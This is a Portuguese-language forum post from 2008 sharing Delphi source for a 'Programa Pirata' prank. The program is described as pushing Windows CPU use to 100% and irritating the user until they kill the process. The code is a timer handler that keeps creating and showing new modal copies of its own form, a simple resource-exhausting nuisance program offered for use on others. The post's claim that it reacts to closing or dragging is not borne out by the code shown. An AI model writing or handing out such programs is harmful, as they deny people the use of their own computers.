Admin
Admin
Número de Mensagens: 63
Data de inscrição: 01/08/2008
 |  Assunto: Programa Pirata  Dom Ago 03, 2008 3:29 am | |
| Esse Programa Pirata aumenta o processo incrivelmente toda vez que o usuário tenta fecha-lo ou arrasta-lo,fazendo com o desempenho do Windows pule de 4% para 100%,deixando assim o computador ocioso.
A unica saída para o usuário é finalizar o programa Pirata.exe,porque senão ele ficará irritado com a ociosidade do PC.
Código:
unit Upirata;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, ExtCtrls, ComCtrls, StdCtrls;
type
TForm6 = class(TForm)
ProgressBar1: TProgressBar;
Timer1: TTimer;
Image1: TImage;
procedure Timer1Timer(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form6: TForm6;
implementation
{$R *.dfm}
procedure TForm6.Timer1Timer(Sender: TObject);
begin
ProgressBar1.Position:=ProgressBar1.Position+100;
if ProgressBar1.Position=100 Then
begin
Application.CreateForm (TForm6,Form6);
Form6.ShowModal;
end;
end;
end. |
|
